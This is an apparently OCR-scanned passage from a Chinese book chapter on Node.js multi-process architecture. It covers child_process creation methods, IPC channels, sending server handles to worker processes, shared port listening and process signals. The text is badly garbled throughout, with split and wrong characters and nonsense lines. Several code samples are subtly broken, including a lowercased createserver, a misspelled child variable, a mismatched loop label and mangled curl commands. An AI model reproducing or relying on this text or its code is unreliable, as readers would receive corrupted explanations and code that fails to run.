预先 复制 一 定数 量 的 进程 。 同 时 将 进程 复 有 用， 避免 进程 创建 、 销 毁 春 
来 的 开销 。 但 是 这 个 模型 并 不 具备 伸缩 性 ， 一 旦 并 发 请 求 过 高 ， 内 存 
使 用 随 着 进程 数 的 增长 将 会 被 耗 尽 。 

假设 通过 进行 复制 和 预 复制 的 方式 搭建 的 服务 右 有 资源 的 限制 ， 且 进 
程 数 上 限 为 M， 那 这 类 服务 的 QPS 为 MN 。 

9.1.3 “白银 时 代 : 多 线程 

为 了 解决 进程 复制 中 的 银 费 问题 ， 多 线程 被 引入 服务 模型 ， 让 一 个 线 
程 服务 一 个 请 求 。 线 程 相对 进程 的 开销 要 小 许多 ， 并 且 线 程 之 间 可 以 
共享 数据 ， 内 存 浪 费 的 问题 可 以 得 到 人 解决， 并 且 利 用 线程 池 可 以 减少 
创建 和 销毁 线程 的 开销 。 但 是 多 线程 所 面临 购并 发 问题 只 能 说 比 多 进 
程 略 好 ， 因 为 每 个 线程 都 拥有 上 自己 独立 的 堆栈 ， 这 个 堆栈 都 需要 占用 
一 定 的 内 存 空 间 。 另 外 ， 由 于 一 个 CPU 核心 在 一 个 时 刻 只 能 做 一 件 事 
情 ， 操 作 系 统 只 能 通过 将 CPU 切 分 为 时 间 片 的 方法 ， 让 线程 可 以 较为 
均匀 地 使 用 CPU 资 源 ， 但 是 操作 系统 内 核 在 切换 线程 的 同时 也 要 切换 
线程 的 上 下 文 ， 当 线程 数量 过 多 时 ， 时 间 将 会 被 耗 用 在 上 下 文 切 换 
中 。 所 以 在 大 并 发 量 时 ， 多 线程 结构 还 是 无 法 做 到 强大 的 伸缩 性 。 


如 果 和 忽略 掉 多 线程 上 下 文 切 换 的 开销 ， 假 设 线 程 所 占用 的 资源 为 进程 
的 1 丰 ， 受 资源 上 限 的 影响 ， 它 的 QPS 则 为 M* L/N 。 

9.1.4 ”黄金 时 代 : 事件 驱动 

多 线程 的 服务 模型 服役 了 很 长 一 段 时 间 ，Apache 就 是 采用 多 线程 /多 进 
程 模型 实现 的 ， 当 并 发 增长 到 上 万 时 ， 内 存 耗 用 的 问题 将 会 暴露 出 
来 ， 这 即 是 著名 的 C10k 问 题 。 

为 了 解决 高 并 发 问题 ， 基 于 事件 驱动 的 服务 模型 出 现 了 ， 像 Node 与 
Nginx 均 是 基于 事件 驱动 的 方式 实现 的 ， 采 用 单线 程 避 人 免 了 不 必要 的 内 
存 开 销 和 上 下 文 切换 开销 。 

基于 事件 的 服务 模型 存在 的 问题 即 是 本 章 起 始 时 提 及 的 两 个 问题 : 
CPU 的 利用 率 和 进程 的 健壮 性 。 单 线程 的 架构 并 不 少见 ， 其 中 尤 以 
PHP 最 为 知名 在 PHP 中 没有 线程 的 支持 。 它 的 健壮 性 是 由 它 给 每 
个 请 求 都 建立 独立 的 上 下 文 来 实现 的 。 但 是 对 于 Node 来 说 ， 所 有 请 求 
的 上 下 文 都 是 统一 的 ， 它 的 稳定 性 是 玛 需 解决 的 问题 。 

由 于 所 有 处 理 都 在 单线 程 上 进行 ， 影 响 事件 驱动 服务 模型 性 能 的 点 在 
于 CPU 的 计算 能 力 ， 它 的 上 限 决 定 这 类 服务 模型 的 性 能 上 限 ， 但 它 不 
受 多 进程 或 多 线程 模式 中 资源 上 限 的 影响 ， 可 伸缩 性 远 比 前 两 者 高 。 
如 果 人 解决 挥 多 核 CPU 的 利用 问题 ， 珊 来 的 性 能 上 提升 是 可 观 的 。 


9.2 多 进程 架构 

面 对 单 进程 单线 程 对 多 核 使 用 不 足 的 问题 ， 前 人 的 经 验 是 局 动 多 进程 即 
可 。 理 想 状 态 下 每 个 进程 各 自 利 用 一 个 CPU， 以 此 实现 多 核 CPU 的 利用 。 
所 笠 ， Node 提 供 了 chilg_process 模 块 ， 并 且 也 提供 了 enilu_process.forkO 男 数 
供 我 们 实现 进程 的 复制 。 

我 们 再 一 次 将 经 典 的 示例 代码 存 为 workerjs 文 件 ， 如 下 所 示 : 


var http = require('http'); 

http.createserver(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}).listen(Math.round((1 + Math.random()) * 1000), '127.0.0.1'); 


通过 node workerjs 启 动 它 ， 将 会 侦 听 1000 到 2000 之 间 的 一 个 随机 端口 。 
将 以 下 代码 存 为 masterjs， 并 通过 node masterjs 启 动 它 : 


var fork = require('child process').fork; 

var cpus = require('os').cpus(); 

for (var i = 0; i < cpus.length; i++) { 
fork('./worker.js'); 


“EA 2 r= 已 己 炎 人 和 量 . 悍 类 ， 
这 段 代 码 将 会 根据 当前 机 希 上 的 CPU 数量 复制 出 对 应 Node 进 程 数 。 在 *nix 
六 wa 3" 米 全 恒 . es 
系统 下 可 以 通过 ps aux | grep worker.js 查 看 到 进程 的 数量 ， 如 下 所 示 : 
$ ps aux | grep worker ,js 
jacksontian 1475 0.0 0.0 2432768 600 s003 S+ 3:27AM 0:00.00 grep worker .js 
jacksontian 1440 0.0 0.2 3022452 12680 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./ 
worker .js 
jacksontian 1439 0.0 0.2 3023476 12716 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./ 
worker .js 
jacksontian 1438 0.0 0.2 3022452 12704 s003 S 3:25AM 0:00.14 /usr/local/bin/node ./ 
worker .js 
jacksontian 1437 0.0 0.2 3031668 12696 s003 S 3:25AM 0:00.15 /usr/local/bin/node ./ 
worker .js 


图 9-1 就 是 著名 的 Master-Worker 模 式 ， 又 称 主 从 模式 。 图 9-1 中 的 进程 分 为 
两 种 : 主 进程 和 工作 进程 。 这 是 典型 的 分 布 式 架构 中 用 于 并 行 处 理 业 务 
的 模式 ， 有 具备 较 好 的 可 伸缩 性 和 稳定 性 。 主 进程 不 负责 具体 的 业务 处 
理 ， 而 是 负责 调度 或 管理 工作 进程 ， 它 是 趋向 于 稳定 的 。 工 作 进 程 负 责 
具体 的 业务 处 理 ， 因 为 业务 的 多 种 多 样 ， 甚 至 一 项 业务 由 多 人 开发 完 
成 ， 所 以 工作 进程 的 稳定 性 值得 开发 者 关注 。 


masterjs ------------------- 


复制 复制 复制 复制 


Worker.]S 


图 9-1 Master-Worker 模 式 

通过 fork0 复 制 的 进程 都 是 一 个 独立 的 进程 ， 这 个 进程 中 有 着 独立 而 全 新 
的 V8 实 例 。 它 需要 至 少 30 毫 秒 的 启动 时 间 和 至 少 10 MB 的 内 存 。 尽 管 
Node 近 供 了 fork0) 供 我 们 复制 进程 使 每 个 CPU 内 核 都 使 用 上 ， 但 是 依然 要 
切记 fork) 进 程 是 昂贵 的 。 好 在 Node 通 过 事件 驱动 的 方式 在 单线 程 上 解决 
了 大 并 发 的 问题 ， 这 里 启动 多 个 进程 只 是 为 了 充分 将 CPU 资源 利用 起 来 ， 
而 不 是 为 了 解决 并 发 问题 。 

9.2.1 创建 子 进程 

child_process 模 块 给 予 Node 可 以 随意 创建 子 进 程 (SairdWpEi5ass) 的 能 力 . 它 
提供 了 4 个 方法 用 于 创建 子 进程 。 


. spawn( ): 局 动 个 子 进程 来 执行 命令 8 

。 exec(): 局 动 一 个 子 进程 来 执行 命令 ， 与 spam(0 不 同 的 是 其 接口 不 
同 ， 它 有 一 个 回调 函数 获知 子 进 程 的 状况 。 

@ execFile(): 启动 个 子 进程 来 执行 可 执行 文件 

。 fork(): 与 spam(0) 类 似 ， 不 同 点 在 于 它 创 建 Node 的 子 进 程 只 需 指定 
要 执行 的 JavaScript 文 件 模块 即 可 。 


spawn() 与 exec() ”、 execFile() 个 同 的 是 ， 后 两 者 创建 时 可 以 指定 timeout 属 性 设置 
超时 时 间 ， 一 旦 创建 的 进程 运行 超过 设 定 的 时 间 将 会 被 杀 死 。 

exec() 河 execFile() 个 同 的 是 ， exec(0) 适 合 执行 已 有 的 命令 ， execFile() 适 合 执 行 
文件 S 这 里 我 们 以 一 个 寻常 命令 为 例 ， node worker.js 分 别 用 上 述 4 种 方法 实 
现 ， 如 下 所 示 : 


var cp = require('child_process'); 
cp.spawn('node', ['worker.js']); 


cp.exec('node worker.js', function (err, stdout, stderr) { 
// some code 


}); 
cp.execFile('worker.js', function (err, stdout, stderr) { 
// some code 


}); 

cp.fork('./worker.js'); 
以 上 4 个 方法 在 创建 子 进程 之 后 均 会 返回 子 进 程 对 象 。 它 们 的 差别 可 以 通 
过 表 9-1 查 看 。 


表 9-1 4 种 方法 的 差别 


类 回调 / 异 ”进程 类 和 可 设置 超 
spawn( ) x 任意 命令 x 
exec( ) V 任意 命令 V 
execFile() MY | 可 执行 文件 V 
ca x Node JavaScript 文 件 x 


这 里 的 可 执行 文件 是 指 可 以 直接 执行 的 文件 ， 如 果 是 JavaScript 文 件 通过 
execFile() 运 行 ， 它 的 首 行内 容 必 须 添加 如 下 代码 : 


#!/usr/bin/env node 


尽管 4 种 创建 子 进程 的 方式 有 些 差别 ， 但 事实 上 后 面 3 种 方法 都 是 spawn() 的 
延伸 应 用 。 


9.2.2 ”进程 间 通 信 

在 Master-Worker 模 式 中 ， 要 实现 主 进程 管理 和 调度 工作 进程 的 功能 ， 需 
要 主 进程 和 工作 进程 之 间 的 通信 。 对 于 cnilda_process 模 块 ， 创 建 好 了 子 进 
程 ， 然 后 与 父子 进程 间 通 信 是 十 分 容易 的 。 

在 前 端 浏览 器 中 ，JavaScript 主 线程 与 UI 演 染 共 用 同一 个 线程 。 执 行 
JavaScript 的 时 候 UI 泻 染 是 停滞 的 ， 演 染 UI 时 ， JavaScript 是 停滞 的 ， 两 者 
互相 阻塞 。 长 时 间 执 行 JavaScript 将 会 造成 UI 停 顿 不 啊 应 。 为 了 解决 这 个 
问题 ，HTML5 提 出 了 WebWorker API。WebWorker 人 允许 创建 工作 线程 并 在 
后 台 运 行 ， 使 得 一 些 阻塞 较为 严重 的 计算 不 影响 主线 程 上 的 UI 泻 染 。 它 
的 API 如 下 所 示 : 


var worker = new Worker('worker.js'); 
worker.onmessage = function (event) { 


document .getElementById('result').textContent = event.data; 


}; 
其 中 ，worker.js 如 下 所 示 : 


var n = 1; 
search: while (true) { 
n += 1; 


for (var i = 2; i <= Math.sqrt(n); i += 1) 
if (n % i == 0) 
continue Search 

// found a prime 

postMessage(n); 


主线 程 与 工作 线程 之 间 通 过 onmessage() 和 postmessage() 进 行 通 信 ， 于 1 灶 村 对 杀 
则 由 send() 方 法 实现 主 进程 回 子 进程 发 送 数据 ，message 事 件 实现 收听 子 进程 
发 来 的 数据 ， 与 API 在 一 定 程度 上 相似 。 通 过 消息 传递 内 容 ， 而 不 是 共享 
或 直接 操作 相关 资源 ， 这 是 较为 轻 量 和 无 依赖 的 做 法 。 

Node 中 对 应 示例 如 下 所 示 : 


// parent.js 
var cp = require('child_process'); 
var n = cp.fork(__dirname + '/sub.js'); 


n.on('message', function (m) { 
console.log('PARENT got message:', m); 
}); 


n.send({hello: ‘world'}); 

// sub.js 

process.on('message', function (m) { 
console.log('CHILD got message:', m); 

}); 


process.send({foo: 'bar'}); 


通过 fork(0) 或 者 其 他 API， 创 建 子 进程 之 后 ， 为 了 实现 父子 
信 ， 父 进程 与 子 进程 之 间 将 会 创建 IPC 通 道 。 通 过 IPC 通 道 
间 才 能 通过 message 和 send() 传 递 消息 ° 


。 进程 间 通 信 原 理 

IPC 的 全 称 是 Inter-Process Communication ， 即 进程 间 通 信 。 进 程 
间 通 信 的 目的 是 为 了 让 不 同 的 进程 能 够 互相 访问 资源 并 进行 协 
调 工 作 。 实 现 进程 间 通 信 的 技术 有 很 多 ， 如 命名 管道 、 匿 名 管 
道 、socket、 信 号 量 、 共 享 内 存 、 消 息 队 列 、Domain Socket 等 。 
Node 中 实现 IPC 通 道 的 是 管道 (pipe) 技术 。 但 此 管道 非 彼 管 
道 ， 在 Node 中 管道 是 个 抽象 层面 的 称呼 ， 具 体 细 万 实现 由 libuv 
提供 ， 在 windows 下 由 命名 管道 (named pipe) 实现 ，*nix 系 统 
则 采用 Unix Domain Socket 实 现 。 表 现在 应 用 层 上 的 进程 间 通 信 
只 有 简单 的 ressage 事 件 和 send() 方 法 ， 接 口 十 分 简洁 和 消息 化 。 
9-2 为 IPC 创 建 和 实现 的 示意 图 。 


进程 之 间 的 通 
， 父 子 进程 之 


(libuv) 
管道 


(Windows ) (*nix) 
命名 管道 Domain Socket 


图 9-2 ” IPC 创建 和 实现 示意 图 

父 进程 在 实际 创建 子 进 程 之 前 ， 会 创建 IPC 通 道 并 监听 它 ， 然 后 
才 真 正 创建 出 子 进程 ， 并 通过 环境 变量 (nove_cHanneL_Fo) 告诉 子 
进程 这 个 IPC 通 道 的 文件 描述 符 。 子 进程 在 启动 的 过 程 中 ， 根 据 
文件 描述 符 去 连接 这 个 已 存在 的 IPC 通 道 ， 从 而 完成 父子 进程 之 
间 的 连接 。 图 9-3 为 创建 IPC 管 道 的 步 又 示意 图 。 


监听 /接受 


STR 


图 9-3 ”创建 IPC 管 道 的 步骤 示意 图 

建立 连接 之 后 的 父子 进程 就 可 以 自由 地 通信 了 。 由 于 IPC 通 道 是 
用 命名 管道 或 Domain Socket 创 建 的 ， 它 们 与 网 络 socket 的 行为 比 
较 类 似 ， 属 于 双 回 通信 。 不 同 的 是 它们 在 系统 内 核 中 就 完成 了 
进程 间 的 通信 ， 而 不 用 经 过 实际 的 网 络 层 ， 非 常 高 效 。 在 Node 
中 ， i 在 调用 sersO 时 发 送 数据 (类 似 
于 write()) ， 接 收 到 的 消息 会 通过 nessage 事 件 (类 似 于 gata) 触发 
给 应 用 层 。 

注意 ”只 有 启动 的 子 进程 是 Node 进 程 时 ， 子 进程 才 会 根据 环境 
变量 去 连接 IPC 通 道 ， 对 于 其 他 类 型 的 子 进程 则 无 法 实现 进程 间 
J 除非 其 他 进程 也 按 约定 去 连接 这 个 已 经 创建 好 的 IPC 通 
进 


9.2.3 ”句柄 传递 
建立 好 进程 之 间 的 IPC 后 ， 如 果 仅 仅 只 ee 些 简单 的 数据 ， 显 然 不 
够 我 们 的 实际 应 用 使 用 。 还 记得 本 草 第 一 部 分 代码 党 要 将 局 动 的 服务 器 
分 别 监 听 各 目的 端口 么 ， 如 果 让 服务 都 监听 到 相同 的 站 日; -将 会 有 什么 
样 的 结果 ? 示例 如 下 所 示 : 

var http = require('http'); 

http,createServer(function (req, res) { 

res.writeHead(200, {'Content-Type': 'text/plain'}); 


res.end('Hello World\n'); 
}) .listen(8888, '127.0.0.1'); 


再 次 启动 masterjs 文 件 ， 如 下 所 示 : 


events ,js:72 


throw er; // Unhandled 'error' event 


八 
Error: listen EADDRINUSE 
at errnoException (net.js:884:11) 


这 时 只 有 一 个 工作 进程 能 够 监听 到 该 端口 上 ， 其 余 的 进程 在 监听 的 过 程 
中 都 抛 出 了 EappRrwusE 异 常 ， 这 是 端口 被 占用 的 情况 ， 新 的 进程 不 能 继续 监 
听 该 端口 了 。 这 个 问题 破坏 了 我 们 将 多 个 进程 监听 同一 个 端口 的 想法 。 
要 解决 这 个 问题 ， 通 利 的 做 法 是 让 每 个 进程 监听 不 同 的 器 口 ， 其 中 主 进 
程 监听 主 端口 《如 80) ， 主 进程 对 外 接收 所 有 的 网 络 请 求 ， 再 将 这 些 请 
求 分 别 代理 到 不 同 的 端口 的 进程 上 。 示 意图 如 图 9-4 所 示 。 


Node Node Node Node 

(8001) (8002) (8003) (+ ) 
图 9-4” 主 进程 接收 、 分 配 网 络 请 求 的 示意 图 
通过 代理 ， 可 以 避免 端口 不 能 重复 监听 的 问题 ， 甚 至 可 以 在 代理 进程 上 
做 适当 的 负载 均衡 ， 使 得 每 个 子 进程 可 以 较为 均衡 地 执行 任务 。 由 于 进 
程 每 接收 到 一 个 连接 ， 将 会 用 掉 一 个 文件 描述 符 ， 因 此 代理 方案 中 客户 
端 连接 到 代理 进程 ， 代 理 进程 连接 到 工作 进程 的 过 程 需要 用 掉 两 个 文件 
描述 符 。 操 作 系统 的 文件 描述 符 是 有 限 的 ， 代 理 方案 浪费 掉 一 倍数 量 的 
文件 描述 符 的 做 法 影响 了 系统 的 扩展 能 力 。 
为 了 解决 上 述 这 样 的 问题 ，Node 在 版 本 v0.5.9 引 入 了 进程 间 发 送 句 柄 的 功 
能 。send() 方 法 除了 能 通过 IPC 发 送 数据 外 ， 还 能 发 送 句 柄 ， 第 二 个 可 选 参 
数 就 是 句柄 ， 如 下 所 示 : 


child.send(message, [sendHandle]) 


那 什 么 是 句柄 ? 句柄 是 一 种 可 以 用 来 标识 资源 的 引用 ， 它 的 内 部 包含 了 
指向 对 象 的 文件 描述 符 。 比 如 句柄 可 以 用 来 标识 一 个 服务 器 端 socket 对 


象 、 一 个 客户 端 socket 对 象 、 一 个 UDP 套 接 字 、 一 个 管道 等 。 
发 送 句 柄 意味 着 什么 ? 在 前 一 个 问题 中 ， 我 们 可 以 去 掉 代 理 这 种 方案 ， 
使 主 进程 接收 到 socket 请 求 后 ， 将 这 个 socket 直 接 发 送 给 工作 进程 ， 而 不 
是 重新 与 工作 进程 之 间 建 立新 的 socket 连 接 来 转发 数据 。 文 件 描述 符 浪费 
的 问题 可 以 通过 这 样 的 方式 轻松 解决 。 来 看 看 我 们 的 示例 代码 。 
主 进程 代码 如 下 所 示 : 

var child = require('child_ process').fork('child.js'); 


// Open up the server object and send the handle 

var server = require('net').createServer(); 

server.on('connection', function (socket) { 
socket.end('handled by parent\n'); 

}); 

server.listen(1337, function () { 
child.send('server', server); 


}); 


子 进程 代码 如 下 所 示 : 


process.on('message', function (m, server) { 
if (m === 'server') { 
server.on('connection', function (socket) { 
socket.end('handled by child\n'); 
}); 
} 


}); 


这 个 示例 中 直接 将 一 个 TCP 服 务 器 发 送 给 了 子 进程 。 这 是 看 起 来 不 可 思议 
的 事情 ， 我 们 移 来 测试 一 番 ， 看 看 效果 如 何 ， 如 下 所 示 : 


// 先 启动 服务 器 


$ node parent .js 


然后 新 开 一 个 命令 行 窗口 ， 用 上 cunl 工 具 ， 如 下 所 示 : 


$CUrFL RhEEPXXL2750395 沁 证 337A0 
handled by parent 
$CUrL "http//1275050.1313377™ 
handled by child 
$ curl "http://127.0.0.1:1337/" 
handled by child 
$ curl "http://127.0.0.1:1337/" 
handled by parent 


命令 行 中 的 啊 应 结果 也 是 很 不 可 思议 的 ， 这 里 子 进程 和 父 进程 都 有 可 能 
处 理 我 们 客户 端 发 起 的 请 求 。 
试 试 将 服务 发 送 给 多 个 子 进程 ， 如 下 所 示 : 

a 


var child1 = cp.fork('child.js'); 
var child2 = cp.fork('child.js'); 


// Open up the server object and send the handle 


var Server = require('net').createServer(); 

server.on('connection', function (socket) { 
socket.end('handled by parent\n'); 

}); 

server.listen(1337, function () { 
childi1.send('server', server); 
child2.send('server', server); 


}); 
然后 在 子 进程 中 将 进程 ID 打 印 出 来 ， 如 下 所 示 : 
// child.js 
process.on('message', function (m, server) { 
if (m === 'server') { 


server.on('connection', function (socket) { 
socket.end('handled by child, pid is ' + process.pid + '\n'); 
}); 


} 
}); 


再 用 curl 测 试 我 们 的 服务 ， 如 下 所 示 : 


$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24673 
$ curl "http://127.0.0.1:1337/" 
handled by parent 

$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24672 


测试 的 结果 是 每 次 出 现 的 结果 都 可 能 不 同 ， 结 果 可 能 被 父 进程 处 理 ， 也 
可 能 被 不 同 的 子 进程 处 理 。 并 且 这 是 在 TCP 层 面 上 完成 的 事情 ， 我 们 尝试 
将 其 转化 到 HTTP 层 面 来 试 试 。 对 于 主 进程 而 言 ， 我 们 甚至 想 要 它 更 经 量 
一 点 ， 那 么 是 否 将 服务 器 句柄 发 送 给 子 进程 之 后 ， 就 可 以 关 掉 服 务 器 的 
监听 ， 让 子 进程 来 处 理 请 求 呢 ? 

我 们 对 主 进程 进行 改动 ， 如 下 所 示 : 


// parent.js 

var cp = require('child_process'); 
var child1i = cp.fork('child.js'); 
var child2 = cp.fork('child.js'); 


// Open up the server object and send the handle 

var server = require('net').createServer(); 

server.listen(1337, function () { 
childi.send('server', server); 
child2.send('server', server); 


// 关 掉 
server.close(); 
}); 
然后 对 子 进程 进行 改动 ， 如 下 所 示 : 
// child.js 


var http = require('http'); 

var server = http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('handled by child, pid is ' + process.pid + '\n'); 


}); 


process.on('message', function (m, tcp) { 
if (m === 'server') { 
tcp.on('connection', function (socket) { 
server.emit('connection', socket); 
}); 
} 
}); 
重新 启动 parent.js 后 ， 再 次 测试 ， 如 下 所 示 : 


$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24852 
$CUrL "httpr//127 50-0.1313377" 
handled by child, pid is 24851 


这 样 一 来 ， 所 有 的 请 求 都 是 由 子 进程 处 理 了 。 整 个 过 程 中 ， 服 务 的 过 程 


发 生 了 一 次 改变 ， 如 图 9-5 所 示 。 


发 送 ” 发 送 ”发送 .发 过 
We 


图 9-5 ” 主 进 程 将 请 求 发 送 给 工作 进程 
主 进程 发 送 完 句 柄 并 关闭 监听 之 后 ， 成 为 了 如 图 9-6 所 示 的 结构 。 
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图 9-6 主 进 程 发 送 完 句柄 并 关闭 监听 后 的 结构 


我 们 神奇 地 发 现 ， 多 个 子 进程 可 以 同时 监听 相同 端口 ， 再 没有 EAporINusE 异 
常 故 生 了 。 


1. ”句柄 发 送 与 还 原 
上 文 介绍 的 虽然 是 句柄 发 送 ， 但 是 仔细 看 看 ， 句 柄 发 送 跟 我 们 
它 是 否 真 的 将 服 
句 对 象 发 送 给 3 为 什么 它 可 以 发 送 到 多 个 子 进 程 
和 发 送 给 予 进程 为 什么 父 进程 中 还 存在 这 个 对 象 ? 本 节 将 所 
开 这 些 秘密 的 所 在 。 
目前 子 进程 对 象 sendg) 方 法 可 以 发 送 的 句柄 类 型 包括 如 下 几 种 。 
O net .Socket ° TCP 套 接 字 
0° net.Server ° TCP 服 务 右 ， 任意 建立 在 TCP 服 务 上 的 应 用 层 服 
务 都 可 以 圣 受 到 它 市 来 的 好 处 。 
O net.Native ° C++ 层面 的 TCP 套 接 字 或 IPC 管 道 9? 
O dgram.Socket ° UDP 套 接 字 © 
O dgram.Native ° C++ 层面 的 UDP 套 接 字 


send() 方 法 在 将 消息 发 送 到 IPC 管 道 前 ， 将 消 忆 上 时 组 装 成 两 个 对 象 
一 个 参数 是 handle， 另 一 个 是 message ° message 耸 参数 如 下 所 示 : 


cmd: "NODE_HANDLE ' ， 
type: 'net.Server', 
msg: message 


发 送 到 IPC 管 道中 的 实际 上 有 是 我 们 要 发 送 的 句柄 文件 描述 符 ， 文 
件 描述 名 ee 。 这 个 message 对 象 在 写 入 到 IPC 管 
道 时 也 会 通过 5soN.stringifyO 进 行 序列 化 。 所 以 最 终 发 送 到 IPC 通 
道中 的 信息 都 是 字符 种 ，send(0) 方 法 能 发 送 消 思 和 句柄 并 不 意味 
着 它 能 发 送 任意 对 象 。 

连接 了 IPC 通 道 的 子 进程 可 以 读 取 到 父 进程 发 来 的 消息 ， 将 字符 
串通 过 ;son.parse0) 解 析 还 原 为 对 象 后 ， 才 触 发 nessage 事 件 将 消息 志 \ 体 
传递 给 应 用 层 使 用 。 在 这 个 过 程 中 ， 消 息 对 象 还 要 被 进行 过 渡 
处 理 ，message.emd 的 值 如 果 以 nope 为 前 级 ， 它 将 响应 一 个 内 部 事件 
internalMessage ° 如 和 message .cmd 但 为 wops HANDtE， 它 将 取出 iesssagasgyis 
DD 一 起 还 原 出 一 个 对 应 的 对 象 。 这 个 过 程 

的 示意 a 7 所 东 。 


; 送 一 2 ee 
Ss A 


0 子 进程 收 到 消息 后 的 还 原 过 程 如 
仆 \: 


function(message, handle, emit) { 
var self = this; 


Var server = new net.Server(); 
server.listen(handle, function() { 
emit(server); 
}); 
小 


上 面 的 代码 中 ， 于 进程 很 据 message， type 创 建 对 应 TCP 服 务 器 对 

象 ， 然 后 监听 到 文件 描述 符 上 。 由 于 底层 细节 不 被 应 用 层 感 

知 ， 所 以 在 子 进 程 中 ， 开 发 者 会 有 一 种 服务 器 就 是 从 父 进 程 中 

直接 传递 过 来 的 错觉 。 值 得 注意 的 是 ， Node 进 程 之 问 从 有 浓 忆 

传递 ， 不 会 真正 地 传递 对 象 ， 这 种 错觉 是 抽象 封 狂 的 结 

目前 Node 只 文 持 上 述 提 到 的 几 种 句柄 ， 并 非 任 意 类 型 的 句柄 都 
能 在 进程 之 间 传 递 ， 除 非 它 有 完整 的 发 送 和 还 原 的 过 程 。 


员 口 共同 监 听 


在 了 解 了 句柄 传递 背后 的 原理 后 ， 我 们 继续 探究 为 何 通过 发 送 
句柄 后 ， 多 个 进程 可 以 监听 到 相同 的 端口 而 不 引起 eavorInuse 异 
常 。 其 答案 也 很 简单 ， 我 们 独立 启动 的 进程 中 ，TCP 服 务 器 端 
socket 套 接 字 的 文件 描述 符 并 不 相同 ， 导 致 监听 到 相同 的 端口 时 
会 抛 出 异常 。 

Node 底 层 对 每 个 端口 监听 都 设置 了 so_REusEAopR 选 项 ， 这 个 选项 的 
涵义 是 不 同 进程 可 以 就 相同 的 网 卡 和 端口 进行 监听 ， 这 个 服务 
铝 端 套 接 字 可 以 被 不 同 的 进程 复 用 ， 如 下 所 示 : 


setsockopt(tcp->io watcher.fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) 


由 于 独立 局 动 的 进程 互相 之 间 并 不 知道 文件 描述 符 ， 所 以 监听 
相同 端口 时 就 会 失败 。 但 对 于 senaO) 发 送 的 句柄 还 原 出 来 的 服务 
而 言 ， 它 们 的 文件 描述 符 是 相同 的 ， 所 以 监听 相同 端口 不 会 引 
起 异常 。 

多 个 应 用 监听 相同 端口 时 ， 文 件 描述 符 同 一 时 间 只 能 被 某 个 进 
程 所 用 。 换 言 之 吏 是 网 络 请 求 同 服务 器 端 发 送 时 ， 只 有 一 个 笠 
运 的 进程 能 够 抢 到 连接 ， 也 就 是 说 只 有 它 能 为 这 个 请 求 进行 服 
务 。 这 些 进程 服务 是 抢占 式 的 。 


9.2.4 小 结 

至 此 ， 我 们 介绍 了 创建 子 进程 、 进 程 间 通信 的 IPC 通 道 实现 、 句 柄 在 进程 
间 的 发 送 和 还 原 、 端 口 共用 等 细节 。 通 过 这 些 基础 技术 ， 用 cnild_process 模 
块 在 单机 上 搭建 Node 集 群 是 件 相 对 容易 的 事情 。 因 此 在 多 核 CPU 的 环境 
下 ， 让 Node 进 程 能 够 充分 利用 资源 不 再 是 难题 。 


9.3 ”集群 稳定 之 路 
搭建 好 了 集群 ， 充 分 利用 了 多 核 CPU 资 源 ， 似 乎 就 可 以 迎接 客户 端 大 量 的 
请 求 了 。 但 请 等 等 ， 我 们 还 有 一 些 细节 需要 考 虚 。 


。 性 能 问题 。 

。 多 个 工作 进程 的 存活 状态 管理 。 

。 工作 进程 的 平滑 重启 。 

。 配置 或 者 静态 数据 的 动态 重新 载 入 。 

。 其 他 细节 。 
是 的 ， 虽 然 我 们 创建 了 很 多 工作 进程 ， 但 每 个 工作 进程 依然 是 在 单线 程 
上 执行 的 ， 它 的 稳定 性 还 不 能 得 到 完全 的 保障 。 我 们 需要 建立 起 一 个 健 
全 的 机 制 来 保障 Node 应 用 的 健壮 性 。 
9.3.1 ”进程 事件 


再 次 回归 到 子 进 程 对 象 上 ， 除了 引 人 关 注 的 sendg) 方 法 和 message 事 件 外 ， 子 
进程 还 有 些 什么 呢 ? 首 移 除 了 nmessage 事 件 外 ，Node 还 有 如 下 这 些 事件 。 


。 error: 当 了 于 进程 无 法 被 复制 创建 、 无 法 被 杀 死 、 无 法 发 送 消息 时 
会 触发 该 事件 。 

。 exit: 子 进 程 退 出 时 触发 该 事件 ， 子 进程 如 果 是 正常 退出 ， 这 个 
事件 的 第 一 个 参数 为 退出 码 ， 否 则 为 mi。 如 果 进 程 是 通过 kial0) 

方法 被 杀 死 的 ， 会 得 到 第 二 个 参数 ， 它 表示 和 杀 死 进程 时 的 信 

可 。 

® en 0 参数 与 
exit 日 后 了 

e disconnect : 在 父 进程 或 子 进程 中 调用 disconnect() 方 法 时 触发 该 事 
件 ， 在 调用 该 方法 时 将 关闭 监听 IPC 通 道 。 


上 述 这 些 事件 是 父 进 程 能 监听 到 的 与 子 进程 相关 的 事件 。 除 了 send0 外 ， 
还 能 通过 aa0) 方 法 给 予 进程 发 送 消息 。kaa0) 方 法 并 不 能 真正 地 将 通过 IPC 
相连 的 子 进程 杀 死 ， 它 只 是 给 予 进程 发 送 了 一 个 系统 信号 。 默 认 情 况 
下 ， 父 进程 将 通过 tin10 方 法 给 子 进程 发 送 一 个 stereru 信 号 。 它 与 进程 默认 
的 kil10 方 法 类 似 ， 如 下 所 示 : 


// 子 进 程 
child.kill([signall]); 


// 当前 进程 


process.kill(pid, [signall]); 


它们 一 个 发 给 子 进程 ， 一 个 发 给 目标 进程 。 在 POSIX 标 准 中 ， 有 一 套 完备 
的 信号 系统 ， 在 命令 行 中 执行 il -1 可 以 看 到 详细 的 信号 列表 ， 如 下 所 


示 : 


$ kill -1 

1) SIGHUP 2) 
5) SIGTRAP 6) 
9) SIGKILL 10) 
13) SIGPIPE 14) 
17) SIGSTOP 18) 
21) SIGTTIN 22) 
25) SIGXFSZ 26) 
29) SIGINFO 30) 


SIGINT 3) SIGQUIT 4) SIGILL 
SIGABRT 7) SIGEMT 8) SIGFPE 
SIGBUS 11) SIGSEGV 12) SIGSYS 
SIGALRM 15) SIGTERM 16) SIGURG 
SIGTSTP 19) SIGCONT 20) SIGCHLD 
SIGTTOU 23) SIGIO 24) SIGXCPU 
SIGVTALRM 27) SIGPROF 28) SIGWINCH 
SIGUSR1 31) SIGUSR2 


